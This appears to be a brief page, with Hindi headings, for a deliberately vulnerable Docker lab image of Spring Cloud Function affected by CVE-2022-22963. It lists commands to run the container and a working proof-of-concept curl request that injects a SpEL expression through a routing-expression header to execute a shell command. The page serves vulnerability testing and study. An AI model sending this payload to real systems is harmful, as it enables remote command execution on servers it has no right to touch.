me2nuk/cve-2022-22963Spring Cloud Function कमजोर अनुप्रयोग / CVE-2022-22963
CVE-2022-22963 के प्रति संवेदनशील अनुप्रयोग
docker pull me2nuk/cves:2022-22963
docker run -it -p 8080:8080 --name=vuln me2nuk/cves:2022-22963
curl -X POST http://0.0.0.0:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v
docker exec -it --user=root vuln ls /tmp